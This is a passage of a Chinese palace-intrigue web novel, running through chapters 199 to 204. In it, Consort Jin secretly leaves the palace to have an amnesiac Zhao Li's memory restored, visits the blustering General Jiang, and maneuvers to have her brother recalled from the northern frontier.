臣妾只是觉得,陛下事务繁多,实在没必要因为兄长的事再跑一趟了,臣妾也好,兄长也好,都不想做陛下的麻烦。” “原来是这样,朕还觉得,这段时日实在是委屈了阿吟,想着今年阿吟生辰,但阿吟回蜀都见见故人呢。”贺江灈慢条斯理地说。 赵清吟嘴唇一抖,表情看上去好像更惶恐了。 她说:“陛下能这么记挂着臣妾,臣妾自然是高兴的,可如果让兄长知道,臣妾因为自己的缘故让陛下费心,兄长一定会怪罪臣妾的。 兄长走的突然,每每想起,臣妾都痛心无比,臣妾也不敢再做任何让兄长不高兴的事。” 贺江灈眸光深邃的打量着清昭仪。 清昭仪又低了低头,看起来更委屈了:“陛下心里记着臣妾的生辰,臣妾就已经很高兴了,还请陛下莫要再因为臣妾兴师动众了。” “你倒是体贴。”贺江灈意味不明地感慨了一句,清昭仪也只是微微颔首,乖顺道:“都是兄长教的。” 贺江灈没有再与清昭仪多说什么,就让张康全把人送了出去。 桌案上的卷轴被汤汁洇湿了大片,有的字迹已经模糊了。 只有蜀都二字,在一众字迹里意外显眼。 暗一不知道从什么地方现出身影,他问:“陛下是在怀疑清昭仪吗?” “朕该信她的,可她的表现确实古怪。”贺江灈说,“其实朕一直都知道,她之前和阿离关系没有那么好,也不会事事听阿离的。 就连朕故意说要给她过生辰,她都拒绝了,这不像她。” “会不会是因为赵兄去后,昭仪娘娘才幡然醒悟?”暗一问。 他大约能知道陛下现在在怀疑什么,可那种事太匪夷所思了。 清昭仪看起来那么柔柔弱弱的,她怎么会… 贺江灈没有再接这个话茬:“朕之前让你派人去蜀都找的人,现在可有消息了?” 暗一的表情凝重了起来,他道:“陛下,这件事属下实在不敢自作主张,你要找的那人她…” 暗一犹豫着低声说了句什么,然后才敢看贺江灈的眼睛。 贺江灈道:“先把人带回来吧。” 清昭仪回到玉粹宫,还觉得手脚一阵发凉。 她身上的衣服也沾了汤汁,但她好像完全没有反应过来。 赋雪大着胆子,拿了新的衣裳过来提醒道:“娘娘,衣服脏了,奴婢伺候您换件新的吧。” 清昭仪点了点头,木讷的任由赋雪帮她换衣服,她口中像是自言自语般喃喃道:“陛下怎么会忽然关心蜀都呢?” “肯定是因为关心娘娘呀,陛下刚才不是都说了吗?他还想带娘娘回蜀都过生辰呢,这是好事呀。”赋雪有点不明所以的说。 听到赋雪的声音,清昭仪的脸色更加的难看了,她后知后觉的反应过来,现在跟在他身边的人是赋雪,不是她的满春。 之前的许多事,满春都知道一二,可赋雪什么都不知道。 那些事都关乎着她的秘密,这种时候,她当然也不可能与赋雪主动解释。 明知道赋雪是关心她,可是听着对方的话,清昭仪还是有点克制不住,她伸手打开了赋雪的手:“你懂什么?滚出去,本宫用不到你,本宫想一个人静静。” 她忽然发火,赋雪脸上闪过了些许的委屈,也不敢多留,赶紧退了出去。 可心底却还是控制不住的暗自思忖,明明陛下关心清昭仪,这是件好事呀,为什么清昭仪看起来那么惶恐? “赋雪,你这是怎么了?惹清姐姐不快了?”一个女生忽然询问,赋雪抬头,就看到王昭仪款款而来。 这段时间王昭仪,可是玉粹宫的常客。 清昭仪被降位之后,很多嫔妃都不与她来往了,只有王昭仪一如既往。 “奴婢见过王昭仪。”赋雪行了个礼,刻意把声音提高了一点,试图让屋里的清昭仪听到,她这会儿实在没有胆量进去通报,也不确定,能不能把王昭仪放进去。 过了足足又好一会儿,她才听到里面清昭仪说:“是王妹妹来了吗?让王妹妹进来吧。” 第199章 我认识你 京城一角,有点偏僻的客栈里,最角落的一个房间,姜妃带着晋明鸢敲响了房门。 不出片刻,门就被打开了一个缝,挽月小心翼翼的看了一眼,才把她们引进了门。 房间地面上到处都是水,屋里的陈设也乱糟糟的,看起来像是有打斗过的痕迹,晋明鸢牵着贺云瑄的手,脸上有点担忧:“这里是发生了什么吗?” 挽月的表情有些无奈,她朝着角落里的一个方向努了努嘴,才小声道:“知道娘娘们要来,属下特地寻乐小二帮这位公子洗澡。 结果这位不仅不配合,力气又大的很,可是好一番折腾,才勉强收拾的干净了一点儿。” 晋明鸢顺着挽月的目光,也看到了蜷缩在角落里的人,他就坐在地上,双手抱膝,长长的头发未经梳理,散在脸上,让人看不清五官。 “这个就是…赵离?”姜妃有些不确定的问。 她和赵离的接触并不多,仅凭着一个看不到脸的身影,自然也分辨不出什么。 但心里还是觉得很是不可思议,就她见过的赵离那几次,那人总是扛着宽剑,意气风发的模样。 他年纪算不上大,算算时间的话,也不到三十岁,可现在那个坐在角落里的人,却总给人一种垂垂老矣的感觉。 “属下也是无意中看到了他的脸,和晋娘娘给的画像几乎一模一样。”挽月说。 主仆两人说话间,晋明鸢已经把贺云瑄交给了姜妃手里,她抬脚直接朝着男人的方向走了过去。 “晋娘娘,小心,他很警惕,他…”眼见着晋明鸢离赵离越来越近,挽月赶紧提醒了一句,可话没说完,她就睁大了眼睛,整个人都愣住了。 她看到晋明鸢伸出手来,轻轻拨开了男人垂在脸上的发丝,对方安静的坐在那里,一动也没动。 挽月嘀咕:“真是奇了怪了,我们这一路走来,他谁也不许碰,连马车也不上,没想到到了晋娘娘这里,反倒是这么乖。” 姜妃见状,本来还有点怀疑,现在对男人的身份好像信了一点。 在旁人无比惊讶的时候,晋明鸢也终于看到了,男人的脸和她记忆中的几乎一样。 要说哪里不同,大概就是他左脸上多了一道疤,从太阳穴的位置直接到鼻翼,看起来无比的狰狞。 比起记忆里,他好像瘦了很多。 瘦的连颧骨都格外的明显了。 那双眼睛很清澈,和他平日里的刚毅不同,他就像是个涉世不深的孩子,就这么打量着晋明鸢。 晋明鸢也看着他。 嗓子有些干涩,即便还没有进一步证明,但潜意识里好像有一个声音在不断的告诉晋明鸢,这就是她要找的人。 晋明鸢颤抖着手,把他散乱的头发都缕到了脑后,她道:“赵大哥,你真的什么都不记得了吗?也不记得阿鸢了吗?” 赵离抬头看着晋明鸢,一双眼睛里只有疑惑,他歪了歪头,看起来还好像有点可爱。 晋明鸢也知道,自己的问题很没必要,如果赵离记得,他早就回京了,而不是像乞丐一样在外面游荡。 她叹了口气:“不记得也没关系,赵大哥别蹲在地上了,我扶你去那边坐一下吧。” 赵离又看了晋明鸢一眼,他真的扶着墙站了起来,视线一直落在晋明鸢的身上,就像是在确定什么。 晋明鸢问:“赵大哥,你为什么一直这样看着我?” “你,是好人,我有你的画。”赵离忽然说。 “你有我的画?”晋明鸢重复。 赵离点点头,他从怀里摸索了一阵,最后拿出一张画来铺在了晋明鸢面前。 那张纸有些年头了,纸张皱巴巴的还泛着黄,上面展开之后,在场的所有人都是一惊,这哪里是画,这分明就是一张通缉令。 是当年先太子派人追杀她的时候画的。 上面的笔迹都不太清晰了,甚至纸张上还见了血,因为时间的流逝,那血迹都变成了深褐色。 “你为什么会有这个?”晋明鸢讶异的问。 距离贺江灈登基都已经五年了,这通缉令至少也得是六年前的事了。 赵离这几年一直是没有记忆,在外面游荡,这张纸它为什么还能保存着呢? 挽月说:“属下找到赵公子的时候,他是在一个破庙里,属下说要带他来的时后,看到他在破庙的石像下面拿了什么,他也不给别人看,难道当时拿的就是这个?” 挽月只是猜测,也没指望能等到赵离的回应,可赵离却点了点头:“宝贝,很重要,一直都带着。” 他连说带笔画,一会儿指指纸,一会儿又指指自己的胸口,晋明鸢好像懂了他的意思。 大约是他失去记忆后醒来,手里都攥着这张纸,他以为这是宝贝,所以一直都保护着。 晋明鸢看着画上的血迹,她似乎可以想到赵离当时引开追兵的时候,看到通缉令顺手接了下来,还没有来得及处理就出了意外。 只是这样猜测,晋明鸢都觉得心里闷闷的很不是滋味。 就在这时候,赵离的肚子响了起来,晋明鸢赶紧让挽月去楼下叫了几个菜。 饭菜上来之后,赵离的眼睛一下子就亮了,他也不用筷子,直接就拿手去扒碗里的饭,狼吞虎咽的吃了起来。 “他怎么饿成这样,你们带他回来的时候没给他吃饭吗?”晋明鸢问。 挽月好像有点委屈:“晋娘娘,这也不怪属下,这一路上,属下不管给他吃什么,他都不要,反倒是那天属下不小心掉到地上一个烧饼,他就自己捡了起来。 后来属下也只能把饭菜给他放在地上,可是他也不碰,反倒是总去街上,扒别人掉了的烂菜叶,属下只能跟着拦着,除此之外也不知道该怎么办了。” 晋明鸢心里又酸又胀,眼睛也有点湿。 他这些年一定是在外面过得太难了,和那些乞丐待久了,所以才潜移默化的,只敢捡别人不要的东西。 就因为他拿着自己的画,所以把自己当成了认识的人,自己在这里他才敢吃饭。 胸口处压抑的好像要喘不上气来,晋明鸢强行让自己冷静,她问:“那支杂耍班子呢?到了吗?” 第200章 娘亲,你疼不疼 赵离不该是这样的。 她认识的赵离永远是刚正不阿意气风发的。 她看不得赵离这个模样。 “已经到了,我让他们乔装打扮,就在隔壁。”挽月说。 事实上那群巫医通过刺激,给人恢复记忆,根本用不了那么多人,上次进宫,只是为了配合赵清吟的话,装作杂耍班子。 这次他们只来了三个人,那个硕大的圆盘被拆成了很多小部件。 挽月把人带进来之后,那三人就开始动作利落的去拼接 圆盘。 赵离现在就像是沉浸在了自己的世界里一样,只是一味的闷头扒饭,连头也不抬。 晋明鸢看着他吃的满脸都是,连忙递了个帕子:“赵大哥,你慢点吃,没人和你抢。” 赵离就像没听见她的话一样,依旧拼命的往嘴里扒饭,看起来像是恶极了。 晋明鸢越看,心里越不是滋味儿,她索性移开了眼,想去外面透透气,可才站起来,赵离就停了下来,眼睛警惕的看着她。 姜妃说:“他现在什么都不记得了,好像只认你,晋姐姐,不如你就在这里待一会吧。” 看到赵离这副模样,晋明鸢自然也不好再走,她又重新坐了下来:“赵大哥继续吃吧,我在这里看着你。” 等到赵离把饭吃完,那群人也总算是把圆盘拼好了,复杂繁琐的字符,让人看了就有些眼晕,晋明鸢嘱咐道:“一定要谨慎一些,确保万无一失,我大哥不能出意外。” 领头的那人还记着晋明鸢的救命之恩,连连点头。 他对着赵离道:“公子,往这里看。” 赵离低着头,没什么反应,直到晋明鸢又说了一句,他才抬起了头来。 没有了那些杂耍手段,几个人只是专心的摆弄着圆盘,晋明鸢看着上面的字符换来换去,那股熟悉的恍惚感好像又要袭来,她赶紧离开了目光,顺道捂住了贺云瑄的眼睛。 时间一点点的流逝着,晋明鸢的手心里都冒出了汗,生怕赵离那边出什么意外。 也不知道过了多久,只听哐当一声,赵离直接从凳子上摔了下去,看起来像是昏倒了。 晋明鸢赶紧过去,和挽月一起把人抬到了床上,姜妃则在一边询问着那个领头的男人,赵离大概多久能醒。 对方也给不出确切答案,只说要看失去的记忆对赵离来说重不重要,如果越深刻的记忆或者是让他不愿意相信的记忆,想要回想起来就更困难,沉睡的时间也越久。 赵离没有醒来之前,姜妃把那些巫医还是安排在了隔壁休息。 她处理完一切回来的时候,就见晋明鸢立在床边,神色凝重,姜妃上前安慰道:“晋姐姐,你也不要太担心了,想来等他醒来的时候一切就都好了。 我问过那些巫医了,他们对这种事很有经验,不会出意外的。” 晋明鸢嗓音有些哑:“比起这件事来,我更怕他想起了记忆之后,万一当初的事真是赵清吟做的,我怕他接受不了。” 即便赵离对赵清吟严厉,但赵清吟也是他实实在在捧在手心里的妹妹。 还记得他们逃难的那段时间,她有一次开玩笑的问赵离,这辈子还有什么心愿。 赵离说,最大的心愿就是看着赵清吟出嫁,至少要在他死之前,给赵清吟招一个靠谱的如意郎君。 那时候赵清吟也只是靠在赵离身边娇娇怯怯的笑,看着就像是个含羞带怯的小姑娘。 晋明鸢实在想不到,记忆里一向乖巧懂事的妹妹变成食人的恶鬼,赵离会怎么想。 姜妃挽着晋明鸢的胳膊:“晋姐姐不要担忧,我觉得他没有你想象中的那么脆弱。 当初你不也把赵清吟当亲妹妹看待吗?这种事你都能接受,更遑论是他?” 晋明鸢点头,但心里的疑虑好像还未曾减少。 贺云瑄在一边,时不时的瞥一眼床上的赵离,脸色也有点凝重,过了一会,他小声问:“娘亲,当初你恢复记忆的时候也是睡了好久吗?疼不疼?有没有不舒服的地方? 都是云瑄不好,那时候也没有陪在娘亲身边。” 帮助别人寻找记忆的时候,他的娘亲尚且这么担忧,那么她自己呢,在那之前她自己有没有惶恐害怕? 小孩戴着虎头帽,看起来又乖又软,脸垂下去的时侯,活像街边摊子上卖的糯米团子。 晋明鸢没忍住,伸手戳了戳他的脸:“你小子,做什么总把责任往自己身上揽? 你才多大年纪,娘亲哪里需要你来照顾? 放心好了,一点也不疼,就像是做了一场梦,醒来之后什么都知道了。” 听着她这样说,贺云瑄脸上的担忧也没有完全散去。 床上赵离的眉心,时而蹙起,时而舒展,看起来就像是陷在噩梦里一般。 晋明鸢心头都是钝钝的疼。 姜妃说:“晋姐姐当初昏了整整一夜呢,他看来也不会这么早就醒过来,我们这次出宫,还没有带云瑄逛过京城呢,要不先出去走走?留挽月在这里守着就好。” 晋明鸢有点犹豫,但只是在这里耗着,确实也没有什么意义。 贺云瑄看不得自家娘亲心情沉重,赶紧拉了一下她的袖子:“云瑄还没有在京城里逛过呢,娘亲能带云瑄去走走吗? 刚才过来的时候,我好像看见外面有卖糖葫芦的,之前师傅都不许我买,娘亲可以给我买吗?” 贺云瑄声音有点生涩,这种撒娇讨东西的事对他来说实在是不习惯,可是为了转移娘亲的注意力,他也只有这样了。 晋明鸢被他说的心都要化了,她又担忧的看了赵离一眼,嘱咐了挽月两句之后,才应下了贺云瑄的话。 三个人一起下了楼,听着外面小贩的叫卖声,看着熙熙攘攘的人群,晋明鸢心里的那股窒息感,才好像散去了一点儿。 不管怎么说,赵离还活着,对她来说已经是天大的喜事了。 客栈不远处,正好有一个卖糖葫芦的摊贩,贺云瑄看着晋明鸢还在发呆,直接拉着她朝着小贩跑去。 第201章 姜老将军 晋明鸢还有些心不在焉的。 贺云瑄要了一串糖葫芦,他付了银子之后,直接踮脚将糖葫芦塞到了晋明鸢嘴里。 晋明鸢先是被吓了一跳,才恍然回过神来:“云瑄,你这是做什么?” “娘亲不要总皱着眉,听说吃好吃的心情会变好,娘亲试试。”贺云瑄说。 “你这孩子,小小年纪怎么总爱操心?”晋明鸢小声嘀咕了一句,又重新买了两只糖葫芦,给姜妃和贺云瑄一人一支,“好了,现在大家一起心情好。” 姜妃捏着糖葫芦:“晋姐姐,我也有份儿啊。” “当然了,姐姐带你出来,怎么可能不给我们小青雉买糖?”晋明鸢笑道。 姜妃耳根都跟着红了红,她尴尬道:“晋姐姐,你真是的,又打趣我。” 几个人笑笑闹闹的,烦恼便也消了大半。 就在这时,背后忽然传来一个中气十足的吼声:“姜青雉,你怎么在外面?你你你… 你现在真是越来越没规矩了!” 这声音有点熟悉,晋明鸢几人一起回头,就看到了在一家酒馆里刚出来的姜老将军。 他脸上好像还带着几分不可置信,大步匆匆的就冲着她们三人走了过来。 伸手就直接揪住了姜妃的耳朵:“你这是做的什么事儿? 谁给你的胆子私自带着你晋姐姐出宫?你真是越来越不像话了? 这若是让太后,让陛下知道了,罚你自己也就算了,万一把晋丫头一起罚了,你看老子怎么收拾你。” “哎呦,爹,你能不能先松手?能不能先听听我的解释,怎么就是我带晋姐姐出宫的了? 哎呀,你快点松手吧,女儿现在好歹也是皇帝的妃子,你知不知道你这样就是以下犯上?”姜妃道。 姜老将军轻哼一声,抬脚就在姜妃屁股上踢了一脚:“呵,还威胁起你老子来了,以下犯上,当老子的教训,不听话的女儿有错吗? 你一个偷偷出宫的,你敢把这事告诉皇帝吗?” 姜老将军对姜妃的威胁很是不屑。 他抬脚又想再给姜妃一脚。 姜妃躲开了:“你个老头,什么脾气?就不能听人解释吗?都说了不是我的问题,是晋姐姐,是晋姐姐要了出宫令牌,带我出来玩的。” “你还胡言乱语,你以为谁都像你一样没规矩吗?你…” “姜伯伯,不是青雉的错,确实是我带她与云瑄出来玩儿的,您快点放开她吧。”晋明鸢赶紧解释。 姜妃冷哼一声:“听到了吗?都说了你冤枉我了,老头,你打算怎么补偿?” “你还跟你老子要补偿,我看你是皮又痒了。”在听到解释的时候,姜老将军本来脸上已经闪过了尴尬,直到听到姜妃的话,他那股火气一下子又上来了,再次抬脚就要踹。 姜妃气哼哼的一边往晋明鸢背后躲,一边不满道:“我说老头,你到底有完没完吗?本来就是,你不分青红皂白的打人,我告诉你,我现在可不怕你了,我可不会站着让你打。” 晋明鸢也跟着拦:“姜伯伯,冷静,姜伯伯,真不是青稚的错,她在宫里可乖了,这回真是我把她带出来的。” 晋明鸢也有点无奈,她好像依稀记得很久之前,姜妃和姜老将军之间的关系就是这样的。 也就是在宫里,念着君臣有别,姜老将军才不会对姜妃动手,这在宫外遇上了,那可就一发不可收拾。 “乖,她会乖?”姜老将军翻了个白眼儿,有点不屑,但很快他好像又想起了什么,看着晋明鸢问,“晋丫头,你的记忆真恢复了?” 晋明鸢点点头:“姜伯伯,我们找个地方坐着说吧。” 她之前拜托姜妃给她爹传的信儿,就是通过姜家的渠道,现在正好遇上了姜老将军,晋明鸢也想问问,北疆那边有回信了吗? 姜老将军点了点头,又瞪了姜妃一眼:“不如就去我府上吧,晋丫头,这几年你在宫里可是受了委屈,伯伯让人做桌好菜,给你好好补补。” 晋明鸢在冷宫里,他们这些人就算是想帮忙,那也是连人都见不到的,只能暗自发愁。 就连上次见面的时候,晋明鸢也没有记忆,话都说不上两句。 自晋明鸢回到京城起,姜老将军就把她当自己的女儿看待,现在再见到人,他也是一阵的心酸。 晋明鸢答应了下来。 一行人朝着姜府去,姜老将军也注意到了贺云瑄:“晋丫头,这就是你那个儿子吧,都长这么高了,我还是头一回见他呢,生的真不错,这眼睛这鼻子,分明就是和陛下一个模子里刻出来的,怎么就…” 这种话题毕竟比较敏感,就算姜老将军再怎么大大咧咧,最后也反应过来,止住了话头。 晋明鸢倒是无所谓,她没有在外面评价贺江灈,只是把贺云瑄拉了过来:“云瑄,叫姜爷爷。” “姜爷爷。”贺云瑄乖巧地唤了一声,心里却有点奇怪,看自家娘亲和姜姨姨的父亲明明很熟悉的模样,怎么最开始的时候,他却听说娘亲和姜姨姨关系不好呢? 姜老将军眉开眼笑,摸着贺云瑄的脑袋:“真乖,走,爷爷带你去吃好吃的。” 说话间他直接弯腰把贺云瑄抱了起来,贺云瑄小脸一下子就涨红了,推搡着姜老将军的肩膀:“姜爷爷,你快点放我下来,我不是小孩子了,你别这样。” “咦。还装大人呢?怎么就不是小孩子了!我跟你说,姜青雉她都十岁了,还天天让她哥抱呢。”姜老将军不撒手,还不忘调侃姜妃两句。 他年轻的时候,觉得总哭唧唧的小孩是个麻烦的东西,不管是他那几个儿子还是姜妃,找他抱都被他不耐烦的踹到一边。 尤其是姜妃小时候,她那个母亲就丢下他这一家子游历世界去了,姜老将军看姜妃就更烦。 再加上姜妃小时候又不安分,总是在外面欺负同龄的孩子被人找上门讨公道,姜老将军就更不想看她,可以说姜妃从小就是被她那几个哥哥带大的。 可能是之前年轻的时候没与小孩接触过,现在年纪大了,他反倒是开始喜欢孩子了。 第202章 还没醒来 姜妃看着姜老将军抱着贺云瑄不撒手,还时不时停下来要给贺云瑄买糖的模样,在后面不停的撇嘴。 后来实在忍不住了,她对着晋明鸢小声嘀咕道:“装模作样,我长这么大,也没见他对我这么笑过。” 晋明鸢说:“你该不会是和云瑄吃醋吧?你想要什么,姐姐给你买?” “才不是呢,我就说那臭老头区别对待,活该我娘丢下他走了。”姜妃说。 “姜青雉,你在后面嘀咕什么呢?别以为老子听不见! 你娘她只是喜欢自由,她出去走走总会回家的,你再在那里胡言乱语,信不信老子打你。” 姜老将军听到姜妃的话,回过头来怒目圆睁的斥她。 姜妃也不害怕,她继续道:“理由罢了,我娘她就算不想要你,总不能说你这老头不行吧,她肯定得找个理由才能走。” 姜老将军被姜青雉的话,气得浑身肌肉紧绷,姜青雉浑然不觉,还在那里自言自语的嘀咕着。 晋明鸢拉了她一下:“青雉,你少说两句,等会姐姐给你买糖。” 姜妃耳朵又红了一下,她垂了垂眸,这次真闭嘴了。 一行人很快就到了姜府,江老将军还是爱不释手的抱着贺云瑄不放,贺云瑄只能将求助的眼神看向晋明鸢。 他想一定是因为今天娘亲给他戴的那个帽子,才让姜爷爷觉得他是小孩。 晋明鸢道:“姜伯伯,你先把云瑄放下吧,我有话想和你说。” 姜老将军这才有点不舍的把贺云瑄放了下来,还伸手又捏了一下贺云瑄的脸:“晋丫头,你这儿子真好,真乖,可比我们家这几个不省事的东西好多了,以后有机会多带他来找我玩。 老晋还没见过他的宝贝外孙吧,嘿嘿,那我可要先和云瑄搞好了关系,以后让老晋羡慕去吧。” 贺云瑄当然知道他口中的老晋应该就是娘亲的母亲,他的外公,他心里有点无奈,这姜爷爷是真把他当成什么都不懂的小孩了吗? 说这种话的时候都不知道背着他点儿。 如果外公真的回京,他肯定也会和外公亲近的呀。 晋明鸢的眼睑垂了垂,眼睛也有些许的闪烁。 姜老将军道:“晋丫头,你是在怪老晋吗? 其实这事儿也不全是他的错,当年关于你的事传得沸沸扬扬,陛下又刚登基,他那样的脾气肯定得先维护陛下。 这些年来,他在北疆,心里也不好受。” 姜老将军说的这些,晋明鸢都知道,可是在想到当年在所有人都不信任她,所有人都怪她怀了野种的时候,她的父亲毅然决然的要和她断绝关系,将她全权推给贺江灈处置,晋明鸢心里也还是有个疙瘩。 哪怕知道对方有苦衷有考量,不能一直护着她,可心里的那根刺到底没办法直接拔掉。 晋明鸢久久的没说话,姜老将军也知道这是他们父女之间的事,便也没有再劝,只是询问:“你上次拖青雉给北疆传的信是真的吗?” 提到正事上,晋明鸢这才点了点头:“是真的,前段时间云瑄跟着姜源出去游学的时候,也看到京城周边很多城镇都有明丰国的人扮作商人混入,现在陛下应该也都知道了,他肯定有所提防,京城这边姜伯伯不用太过担心。 只是北疆毕竟和明丰国那里接壤,我怕他们忽然会有什么大动作我哥他们应付不及。” 提到北疆,晋明鸢犹豫了一下还是没有提她爹。 这一点小小的插曲,贺云瑄还是很敏锐的注意到了。 娘亲是和外公关系不好吗?可她明明很在意北疆的,难道是因为中间有什么误会? 姜老将军也知道她其实很担心,只是在嘴硬,于是自己提了她想知道的问题:“信已经成功到北疆了,想必不日回信就会过来,晋丫头,你也不用太过担心,老晋与明丰国那群人打交道,也有一阵子了。 只要他有所防备,那些人也翻不出什么风浪的。” 晋明鸢点了点头,过了有一会,她才问:“姜伯伯,他的身体还好吗?” 冷宫里的那五年,她确实一直没曾听到晋老将军的消息。 “他好着呢,晋丫头,你就把心放在肚子里吧,你现在也已经从冷宫里出来了,肯定有机会去见他的。”姜老将军道。 沉默片刻,他又有些唏嘘:“你当年就是太倔了,你说说不就是面子名声吗?能是什么大事?做什么为难自己? 如果老晋知道,最后你自己去冷宫,在里边一待就是五年不出来,恐怕当初他也不会…” 提到晋老将军,晋明鸢又没回话。 姜老将军也知道她不想谈这个,便直接让下人送来了酒菜,道:“好不容易出宫一次,没有拘束,陪你姜伯伯喝一杯。” 晋明鸢也没有推辞。 不管是这些年姜老将军对她的照顾,还是他把姜妃送到自己身边,这一桩桩一件件的事,都足够晋明鸢把他放到和自家父亲等同的位置上了。 一顿饭吃完,已经是暮色四合了。 姜老将军这才依依不舍地把晋明鸢和贺云瑄送出了门,还不忘叮嘱他们,以后遇到了麻烦一定要找他。 他还让下人给贺云瑄装了满满一包的糕点,哪怕晋明鸢不停的推辞,说这些皇宫里都有,姜老将军也还是让他们带上了。 那模样简直是把贺云瑄当成了自己的亲外孙。 从姜家离开后,晋明鸢又回了一趟客栈。 赵离还没有醒,表情看起来很是痛苦,巫医就在旁边守着,再三向晋明鸢保证,这种情况正常,只是赵离的回忆对他来说太过刺痛,所以他才久久没法醒来。 晋明鸢一下子就想到了赵清吟,她想赵离醒不过来,恐怕那些事真的和赵清吟有关。 时候不早了,晋明鸢知道,贺江灈准许他出宫,却绝对不会同意她在宫外过夜,她现在只能先回去。 实在没有办法,晋明鸢也只能嘱咐了挽月先看着赵离,她下次再找机会出来。 又给挽月留下了一些银两之后,晋明鸢才不得不坐上了回宫的马车。 第203章 郑书骏要回来 等回到宫里的时候。 天色已经完全暗了下来。 几个人才到了邀云宫门口,就先看到了张公公正焦急的翘首以盼。 打了个照面,张公公便急匆匆的跑了过来:“哎呦,晋娘娘,你可回来了,陛下在邀云宫等你许久了。” “他等我做什么?”晋明鸢问。 张公公道:“这不是你出宫这么久,陛下放心不下吗,知道你不想让人跟着,就只好过来等着了。 晋娘娘,陛下对您的心意可真是…” “行了,你不用替他说好话,我们之间的事用不着别人参与。”晋明鸢说。 虽然知道维护贺江灈是张公公的职责,但晋明鸢也没有心思听下去。 这次出宫,主要还是为了赵离的事。 后来又遇到了姜老将军,便也没有多余的时间去逛街,事实上也没有买什么东西,带回来的都是姜老将军塞给贺云瑄的糕点吃食。 邀云宫里,烛火摇摇曳曳的,贺江灈正坐在案前批着奏折。 听到脚步声,他才抬起了头,晋明鸢象征性的行过了礼,她道:“陛下,怎么想起来跑我这邀云宫批奏折了,是因为御书房盛不下你了吗?” 她还是一如既往的阴阳怪气。 贺江灈瞥了她一眼,视线落在了她带回来的东西上:“你出宫一趟,就只买了这些玩意儿?全都是给他买的?” “你那是什么态度,我给我儿子买东西,难道不应该吗?”晋明鸢道。 “朕的意思是,你之前不总喜欢外面新奇的玩意儿吗?这次为什么没给自己买点东西?”贺江灈不在意晋明鸢的态度,他又稍稍解释了一下。 晋明鸢心情不好,刚想说他多管闲事,姜妃忽然拉了晋明鸢一下,她解释道:“陛下,臣妾与晋姐姐在外面打了一套头面,只是得过段时间才能去拿回来,恐怕过两天我们还得出宫一趟。” 姜妃这样一提醒,晋明鸢才想起来,她过两天还得出宫看赵离呢,于是赶紧顺着姜妃的话道:“对,首饰还没有打好,今天也没有玩尽兴,过两天我们还得出去一趟呢。” 贺江灈像是被勾起了兴趣:“什么样的头面,能让你都感兴趣?” 也不怪他好奇,实在是他记忆里的晋明鸢,从来都不会对女儿家的首饰有什么兴趣。 晋明鸢糊弄着:“不就是看个眼缘吗,一眼看上了,想买就买了,有什么好好奇的?你就说你同不同意吧。” “朕有不同意的余地吗?你想去就去吧,出去散散心也好。”贺江灈说,他把桌案上的东西收了起来,又道,“饿了吧,朕让人准备了晚膳。” 看他一副要留下来的架势,晋明鸢微不可查的翻了个白眼儿,但也没有多说什么。 她心里还有点挂念着赵离的事,也不知道赵离什么时候能醒来,还有他恢复了记忆后到底能不能接受,挽月在那里能应付得了吗? 各种担忧牵扯着她,让她总有点心不在焉的。 贺江灈也看出了异样,他问姜妃:“你们今日出宫遇到什么了,朕怎么感觉阿鸢好像心情不好?” 姜妃知道晋明鸢不想先暴露赵离的事,于是她胡乱应付着:“还能遇到什么,遇到我爹了呗,陛下也知道,我爹不是和晋老将军关系好吗,见了面随口提了两句,可能晋姐姐想家了吧。” 贺江灈皱着眉,不知道在想什么,视线似有怀疑的朝着姜妃看。 贺云瑄先反应过来,他摇摇头:“姜姨姨我觉得不对,我娘亲都失忆了,应该也想不起来外公,我看她可能在想她的首饰吧。” 贺云瑄这么一提醒,姜妃也意识到她差点说漏了嘴,她故意解释:“你小子懂什么?就算失忆,听到自己家里的消息,也不可能无动于衷的吧,反正我就是觉得晋姐姐肯定是想家了。” 贺云瑄和姜妃故意闹成一团,就好像忽略掉了贺江灈一样。 贺江灈则是看着晋明鸢一番沉思,过了一会儿,他道:“阿鸢,定明侯之前向朕请求,想要将他在北疆的儿子调回来,朕还没有同意。 不如这次朕让他给你带些北疆的特产回来?” 定明侯的儿子。 那不就是那个郑书骏吗?安妃的旧情人。 之前他在北疆,一方面是为了威胁安妃,另一方面是帮太后和定明侯替明丰国那边传信。 现在定明侯忽然请求把他调回来,难道是有什么大事要发生了? 这个信息让晋明鸢的思绪一下子回笼。 那个郑书骏,就是太后用来牵制安妃的棋子,这种人都能调回来,肯定是有大动作了。 晋明鸢半天没搭话,贺江灈又说:“你现在失忆了,应该也不记得北疆有什么了,这样吧,我再让他带些晋家的物件,等以后有了机会…” “陛下,能不能让我大哥一起回来?”晋明鸢打断了贺江灈的话。 不知道太后和定明侯想拿那个郑书骏做什么文章,放任着他自己回来,晋明鸢总觉得不太安心,倒不如让自己的兄长也回来。 北疆大营的统帅一直都是老头子。 兄长在北疆没有那么重要,应该是可以调动的。 而且姜伯伯说,他的信已经成功送到了北疆,老头子肯定已经有所提防了,这时候让兄长跟着郑书骏回来,再好不过。 “我听姜伯伯说,我大哥一直对我很好,陛下能让他回京吗?”晋明鸢又解释了一句。 姜妃这会儿听到正事,也不和贺云瑄玩闹了,同样跟着鼓动贺江灈:“是呀,陛下,带些物件,和见到真人哪里能一样呢? 臣妾就说晋姐姐是想家了吧,她好不容易给您提个要求,您不能不同意吧?” 贺江灈神色不明,并没有马上答应下来。 经过上次冷宫的事,他对太后和定明侯不可能不设防,至于那个郑书骏,定明侯的儿子,当然也值得重点关注。 他担忧让晋明鸢的兄长跟着一起回来,路上会遭遇什么意外。 未免晋明鸢担忧,这个理由他也不想说。 姜妃又说:“陛下,晋姐姐在这宫里孤苦伶仃的,让她趁这个机会见见家人,不过分吧?” 第204章 不想回忆的过去 贺江灈还是没有直接答应这个请求,反而把姜妃叫了出来,他道:“姜妃,你到底怎么回事?太后和定明侯的事,你不是知道吗? 明知那些人不安好心,你怎么还能撺掇阿鸢的兄长一起回来,这万一路上出什么意外…” 上次在福寿宫放猪的事,就是姜妃的手笔,贺江灈当然不会觉得她什么都不懂。 姜妃说:“臣妾那不也是想着让晋姐姐开心吗? 她在冷宫里那么多年,一直都孑然一身的,就连失忆之前,甚至都不与人说话。 你明知道她之前是什么样的人,她曾朋友遍地,她那样鲜活热烈,如今身边都没了几个能说话的人。 她好不容易想见一次家人,臣妾就没有想那么多。” 姜妃话说的模棱两可的,听到贺江灈耳朵里的时候,让贺江灈也觉得心里闷闷的。 是呀,他们阿鸢本不应该是这样的。 姜妃注意到他有点动摇,就继续劝告道:“陛下如果觉得不放心,可以派暗卫跟随。 